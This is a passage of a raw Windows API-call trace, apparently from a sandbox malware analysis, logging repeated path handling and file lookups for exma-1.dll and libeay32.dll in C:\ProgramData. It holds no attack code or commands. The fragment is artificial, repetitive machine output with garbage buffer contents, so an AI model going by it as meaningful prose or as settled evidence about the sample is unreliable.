pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.382] CharLowerBuffW (in: lpsz="c:\\programdata\\exma-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\exma-1.dll") returned 0x19 [0118.382] SysReAllocStringLen (in: pbstr=0x460df4*=0x0, psz="c:\\programdata\\exma-1.dll", len=0x19 | out: pbstr=0x460df4*="c:\\programdata\\exma-1.dll") returned 1 [0118.382] CharLowerBuffW (in: lpsz="c:\\programdata\\exma-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\exma-1.dll") returned 0x19 [0118.382] SysReAllocStringLen (in: pbstr=0x460f04*=0x0, psz="c:\\programdata\\exma-1.dll", len=0x19 | out: pbstr=0x460f04*="c:\\programdata\\exma-1.dll") returned 1 [0118.382] SysReAllocStringLen (in: pbstr=0x460f08*=0x0, psz="c:", len=0x2 | out: pbstr=0x460f08*="c:") returned 1 [0118.382] SysReAllocStringLen (in: pbstr=0x460f28*=0x0, psz="programdata", len=0xb | out: pbstr=0x460f28*="programdata") returned 1 [0118.382] SysReAllocStringLen (in: pbstr=0x460f48*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x460f48*="exma-1.dll") returned 1 [0118.382] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.382] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.383] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.383] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.383] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.383] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.383] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.383] GetLastError () returned 0x12 [0118.383] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.383] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.383] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.383] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="exma-1.dll", len=0xa | out: pbstr=0x28ef0c*="exma-1.dll") returned 1 [0118.383] FindFirstFileW (in: lpFileName="c:\\ProgramData\\exma-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bec710, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bec710, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bec710, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="exma-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.383] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.384] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.384] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.384] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\exma-1.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\exma-1.dll") returned 1 [0118.384] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\exma-1.dll", psz="c:\\ProgramData\\exma-1.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\exma-1.dll\\") returned 1 [0118.384] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\exma-1.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\exma-1.dll\\") returned 1 [0118.384] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\exma-1.dll\\", psz="c:\\ProgramData\\exma-1.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\exma-1.dll") returned 1 [0118.385] CharLowerBuffW (in: lpsz="c:\\ProgramData\\exma-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\exma-1.dll") returned 0x19 [0118.385] SysReAllocStringLen (in: pbstr=0x460f04*=0x0, psz="c:\\programdata\\exma-1.dll", len=0x19 | out: pbstr=0x460f04*="c:\\programdata\\exma-1.dll") returned 1 [0118.385] SysReAllocStringLen (in: pbstr=0x460f08*=0x0, psz="c:", len=0x2 | out: pbstr=0x460f08*="c:") returned 1 [0118.385] SysReAllocStringLen (in: pbstr=0x460f28*=0x0, psz="programdata", len=0xb | out: pbstr=0x460f28*="programdata") returned 1 [0118.385] SysReAllocStringLen (in: pbstr=0x460f48*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x460f48*="exma-1.dll") returned 1 [0118.385] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.385] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.385] CharLowerBuffW (in: lpsz="c:\\programdata\\exma-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\exma-1.dll") returned 0x19 [0118.385] SysReAllocStringLen (in: pbstr=0x460f58*=0x0, psz="c:\\programdata\\exma-1.dll", len=0x19 | out: pbstr=0x460f58*="c:\\programdata\\exma-1.dll") returned 1 [0118.386] SysReAllocStringLen (in: pbstr=0x460f5c*=0x0, psz="c:", len=0x2 | out: pbstr=0x460f5c*="c:") returned 1 [0118.386] SysReAllocStringLen (in: pbstr=0x460f7c*=0x0, psz="programdata", len=0xb | out: pbstr=0x460f7c*="programdata") returned 1 [0118.386] SysReAllocStringLen (in: pbstr=0x460f9c*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x460f9c*="exma-1.dll") returned 1 [0118.386] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.386] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.386] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.386] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.386] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.386] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.387] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.387] GetLastError () returned 0x12 [0118.387] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.387] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.387] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.387] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="exma-1.dll", len=0xa | out: pbstr=0x28ef0c*="exma-1.dll") returned 1 [0118.387] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\exma-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bec710, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bec710, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bec710, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="exma-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.387] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.387] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.387] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.387] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\exma-1.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\exma-1.dll") returned 1 [0118.387] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\exma-1.dll", psz="c:\\PROGRA~3\\exma-1.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\exma-1.dll\\") returned 1 [0118.388] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\exma-1.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\exma-1.dll\\") returned 1 [0118.388] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\exma-1.dll\\", psz="c:\\PROGRA~3\\exma-1.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\exma-1.dll") returned 1 [0118.388] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\exma-1.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\exma-1.dll") returned 0x16 [0118.388] SysReAllocStringLen (in: pbstr=0x460f58*=0x0, psz="c:\\progra~3\\exma-1.dll", len=0x16 | out: pbstr=0x460f58*="c:\\progra~3\\exma-1.dll") returned 1 [0118.388] SysReAllocStringLen (in: pbstr=0x460f5c*=0x0, psz="c:", len=0x2 | out: pbstr=0x460f5c*="c:") returned 1 [0118.388] SysReAllocStringLen (in: pbstr=0x460f7c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x460f7c*="progra~3") returned 1 [0118.388] SysReAllocStringLen (in: pbstr=0x460f9c*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x460f9c*="exma-1.dll") returned 1 [0118.389] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0118.389] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exma-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exma-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x460fc4, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVBEAE46.TMP⍔vバt☘E\x18") returned 12 [0118.389] CharLowerBuffW (in: lpsz="EVBEAE46.TMP", cchLength=0xc | out: lpsz="evbeae46.tmp") returned 0xc [0118.389] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.389] FindFirstFileW (in: lpFileName="c:\\programdata\\evbeae46.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bec710, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x1c00, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x780065, nFileSizeLow=0x61006d, dwReserved0=0x31002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A舼uA((")) returned 0xffffffff [0118.389] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.389] SysReAllocStringLen (in: pbstr=0x28f258*="evbeae46.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.389] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.389] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.389] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="exma-1.dll", len=0xa | out: pbstr=0x28f1cc*="exma-1.dll") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\exma-1.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\exma-1.dll") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x460e10*=0x0, psz="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\", len=0x2f | out: pbstr=0x460e10*="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\") returned 1 [0118.390] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\") returned 0x2f [0118.390] SysReAllocStringLen (in: pbstr=0x460fdc*=0x0, psz="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\", len=0x2f | out: pbstr=0x460fdc*="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x461000*=0x0, psz="device", len=0x6 | out: pbstr=0x461000*="device") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x461020*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x461020*="harddiskvolume1") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x46102c*=0x0, psz="programdata", len=0xb | out: pbstr=0x46102c*="programdata") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x461038*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x461038*="exma-1.dll") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\exma-1.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="exma-1.dll", len=0xa | out: pbstr=0x28f1c0*="exma-1.dll") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\exma-1.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\exma-1.dll") returned 1 [0118.390] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\exma-1.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\exma-1.dll\\") returned 1 [0118.390] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\exma-1.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\exma-1.dll\\") returned 0x2c [0118.390] SysReAllocStringLen (in: pbstr=0x461048*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\exma-1.dll\\", len=0x2c | out: pbstr=0x461048*="\\device\\harddiskvolume1\\progra~3\\exma-1.dll\\") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x46106c*=0x0, psz="device", len=0x6 | out: pbstr=0x46106c*="device") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x46108c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x46108c*="harddiskvolume1") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x461098*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461098*="progra~3") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x4610a4*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x4610a4*="exma-1.dll") returned 1 [0118.391] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.391] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.391] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x28f23c*="libeay32.dll") returned 1 [0118.391] CharLowerBuffW (in: lpsz="libeay32.dll", cchLength=0xc | out: lpsz="libeay32.dll") returned 0xc [0118.391] SysReAllocStringLen (in: pbstr=0x28f240*="libeay32.dll", psz="libeay32.dll", len=0xc | out: pbstr=0x28f240*="libeay32.dll") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x4610fc*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x4610fc*="libeay32.dll") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x461100*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x461100*="libeay32.dll") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.391] CharLowerBuffW (in: lpsz="c:\\programdata\\libeay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\libeay32.dll") returned 0x1b [0118.391] SysReAllocStringLen (in: pbstr=0x461104*=0x0, psz="c:\\programdata\\libeay32.dll", len=0x1b | out: pbstr=0x461104*="c:\\programdata\\libeay32.dll") returned 1 [0118.391] CharLowerBuffW (in: lpsz="c:\\programdata\\libeay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\libeay32.dll") returned 0x1b [0118.391] SysReAllocStringLen (in: pbstr=0x4611e0*=0x0, psz="c:\\programdata\\libeay32.dll", len=0x1b | out: pbstr=0x4611e0*="c:\\programdata\\libeay32.dll") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x4611e4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4611e4*="c:") returned 1 [0118.391] SysReAllocStringLen (in: pbstr=0x461204*=0x0, psz="programdata", len=0xb | out: pbstr=0x461204*="programdata") returned 1 [0118.392] SysReAllocStringLen (in: pbstr=0x461224*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x461224*="libeay32.dll") returned 1 [0118.392] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.392] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libeay32.dll", cchWideChar=12, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libeay32.dllr45w", lpUsedDefaultChar=0x0) returned 12 [0118.392] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.392] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.392] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.392] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.392] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.392] GetLastError () returned 0x12 [0118.392] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.392] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.392] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.392] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="libeay32.dll", len=0xc | out: pbstr=0x28ef0c*="libeay32.dll") returned 1 [0118.392] FindFirstFileW (in: lpFileName="c:\\ProgramData\\libeay32.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bec710, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bec710, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13beee20, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x0, cFileName="libeay32.dll", cAlternateFileName="")) returned 0x7632b0 [0118.393] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.393] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.393] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.393] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\libeay32.dll", len=0x1b | out: pbstr=0x28ef00*="c:\\ProgramData\\libeay32.dll") returned 1 [0118.449] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\libeay32.dll", psz="c:\\ProgramData\\libeay32.dll\\", len=0x1c | out: pbstr=0x28f214*="c:\\ProgramData\\libeay32.dll\\") returned 1 [0118.449] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\libeay32.dll\\", len=0x1c | out: pbstr=0x28eefc*="c:\\ProgramData\\libeay32.dll\\") returned 1 [0118.449] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\libeay32.dll\\", psz="c:\\ProgramData\\libeay32.dll", len=0x1b | out: pbstr=0x28f214*="c:\\ProgramData\\libeay32.dll") returned 1 [0118.450] CharLowerBuffW (in: lpsz="c:\\ProgramData\\libeay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\libeay32.dll") returned 0x1b [0118.450] SysReAllocStringLen (in: pbstr=0x4611e0*=0x0, psz="c:\\programdata\\libeay32.dll", len=0x1b 